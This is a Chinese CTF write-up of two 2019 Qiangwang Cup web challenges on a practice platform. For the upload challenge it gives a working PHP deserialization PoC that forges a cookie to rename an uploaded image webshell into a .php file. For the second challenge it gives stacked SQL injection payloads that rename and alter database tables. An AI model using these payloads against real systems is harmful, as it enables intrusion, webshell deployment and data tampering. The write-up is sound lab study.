强网杯web复现

平台:https://buuoj.cn/challenges

2019 强网杯的题目总结

UPLOAD

wp

大佬的 wp : https://www.zhaoj.in/read-5873.html

个人总结

  1. 只能上传正常的图片,非 png 格式会自动转化为 png,图片被保存在 upload 目录下

  2. 本题是 www.tar.gz 泄露,源码泄露总结点击此处

  3. 函数流程:

    1. 没有登陆时,跳转到 index.php,进行注册登陆。login_check 函数将 cookie(‘user’) 赋给 profile,然后 base64 解码反序列化
    2. 在注册页面调用 login_check 函数检查是否登陆,是则跳转到 index.php/home ,否则进行注册
    3. 在登陆页面调用 login_check 函数检查是否登陆,是则跳转到 index.php/home ,否则进行登陆
    4. 已经登陆时,跳转到 index.php/home 进行文件上传操作
    5. 在进行上传操作时,对请求头中的 REMOTE_ADDR 进行 md5 加密并赋给 upload_menu ,然后创建以 upload_menu 命名的文件夹
    6. 然后进行登陆检查,然后将文件的临时副本的名称赋给 filename_tmp,将文件名(不加后缀)进行 md5 加密后赋给 filename
    7. 然后进行后缀检测,将 filename 的后缀赋给 ext,如果 ext 为 png 返回 1,否则返回 0
    8. 如果后缀是 png,检查图片内容,然后将 filename 赋给 filename_tmp,将图片相对路径赋给 img,执行 update_img 函数
    9. update_img 函数先进行 user 查询,如果 user 没有上传过图片并且 img 存在,则更新 user 表的 img 字段,并执行 update_cookie 函数
    10. update_cookie 函数将上传图片的 img 进行序列化和 base64 编码后赋给 cookie 的 user
    11. profile 的 _call 和 _get 两个魔术方法,分别书写了在调用不可调用方法和不可调用成员变量时怎么做。__get 会直接从 except 里找,__call 会调用自身的 name 成员变量所指代的变量所指代的方法。
  4. 攻击流程:

    1. 注册,登陆。登陆之后有个跳转的过程,这里就有了 cookie,如图

      解码后如图

    2. 选择上传图片,这个图片就是合成的图片马,从 阿里巴巴矢量图库 下载一个 png 图片,然后蚁剑生成一个 shell,用 hex 编辑器直接将 shell 内容放在图片后面即可。这里使用阿里的图库是因为网上的 png 图片可能 hex 格式不规范,导致后面改名之后会报 parse error

    3. 上传图片之后,会在 upload 目录下生成一个 md5(REMOTE_ADDR) 文件,而且文件名也会被 md5 加密,这时 cookie[‘user’] 如图

      解码后如图

    4. 使用 poc 生成的序列化结果修改 cookie[‘user’],刷新一次即可修改后缀。在服务器反序列化的过程中,在 Register 类中执行析构函数,调用 $profile 的 index() 函数,在 Profile 类的 __get 函数中定义了如果调用 index() 就去调用 img,而 __call 函数规定调用不可调用的函数时就调用 img 对应的函数,这样就控制函数跳转到 upload_img 函数,然后执行复制函数,将 png 改为 php,并删除原有的 png,至此,后缀修改完成。

    5. 最后直接用蚁剑连接 shell,读取配置文件中的数据库信息,选择 mysqli 驱动连接到数据库,即可读取 flag

  5. 最终 poc 如下,修改上传图片地址即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php
namespace app\web\controller;

class Profile
{
public $checker;
public $filename_tmp;
public $filename;
public $upload_menu;
public $ext;
public $img;
public $except;

public function __get($name)
{
return $this->except[$name];
}

public function __call($name, $arguments)
{
if($this->{$name}){
$this->{$this->{$name}}($arguments);
}
}

}

class Register
{
public $checker;
public $registed;

public function __destruct()
{
if(!$this->registed){
$this->checker->index();
}
}

}

$profile = new Profile();
$profile->except = ['index' => 'img'];
$profile->img = "upload_img";
$profile->ext = "png";
//修改地址即可
$profile->filename_tmp = "../public/upload/24ff17b3e72d90d210f3455327ea52f7/36a767e7b2d8d3bde3f881217a418ebb5.png";
$profile->filename = "../public/upload/24ff17b3e72d90d210f3455327ea52f7/6a767e7b2d8d3bde3f881217a418ebb5.php";

$register = new Register();
$register->registed = false;
$register->checker = $profile;

echo urlencode(base64_encode(serialize($register)));
?>

mysqli 是 PHP 驱动数据库的一种方式,以前是使用 mysql 的,而 mysqli 相比于 mysql 更加安全高效

copy(a, b),a 和 b 是文件路径,将文件从 a 拷贝到 b,比如 copy(“./1.png”, “./1.php” ) 执行之后会存在两个文件 1.png 和 1.php

unlink(a),a 是文件路径,删除文件 a

随便注

wp

  1. 打开靶机,随便提交,发现似乎是把 PHP 查询的原始结果之间返回了

  2. 输入 select 发现了过滤语句,过滤了 select,update,delete,drop,insert,where 和 .

    return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

  3. 测试一下有没有注入。?inject=1'%23,返回正常,字符型注入

  4. 过滤了这么多关键词,尝试堆叠注入。?inject=1';show databases;%23,看到了所有的数据库

  5. 再看一下所有的表。?inject=1';show tables;%23,1919810931114514 表和 words 表

  6. flag 在全数字的表里,默认查询的是 words 表

    1
    2
    ?inject=1';show columns from `1919810931114514`;%23
    ?inject=1';show columns from `words`;%23

  7. 既然没过滤 alert 和 rename,那就可以把表和列改名。先把 words 改为 words1,再把数字表改为 words,然后把新的 words 表里的 flag 列改为 id ,这样就可以直接查询 flag 了

  8. 构造 payload 如下

    1
    /?inject=1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;%23
  9. 使用 /?inject=1' or '1'='1 访问一下即可获得 flag

个人总结

  1. MySQL中反引号和单引号的区别与用法

    1. MySql 中用一对反引号来标注 SQL 语句中的标识,如数据库名、表名、字段名
    2. 引号则用来标注语句中所引用的字符型常量或日期/时间型常量,即字段值
    3. 例如:select * from `username` where `name`=”peri0d”
  2. PHP 代码推测,这里只是一个大概的流程,和实际可能有出入。参照 sqli-labs 里的代码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    <?php
    function waf($inject){
    preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
    die('return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);');
    }

    if(isset($_GET['inject'])){
    $id = $_GET['inject'];
    waf($id);

    $con1 = mysqli_connect($host,$dbuser,$dbpass,$dbname);
    $sql = "select * from `words` where id = '$id';";

    /* execute multi query */
    if (mysqli_multi_query($con1, $sql)){
    /* store first result set */
    $result = mysqli_multi_query($con1);
    if ($result)
    {
    if($row = mysqli_fetch_row($result))
    {
    var_dump($row);
    }

    }
    /* print divider */
    if (mysqli_more_results($con1))
    {
    echo "<hr>";
    }
    }
    mysqli_close($con1);
    }

    ?>
  3. MySQL 的 show、rename 和 alter 命令

    1. show 可以用于查看当前数据库,当前表,以及表中的字段
    2. rename 用于修改 table 的名称
    3. alter 用于修改表中字段的属性
  4. 攻击思路:默认查询 words 表,可以将数字表的名称改成 words,这样就可以 使用 or ‘1’=’1 直接查询 flag 了

高明的黑客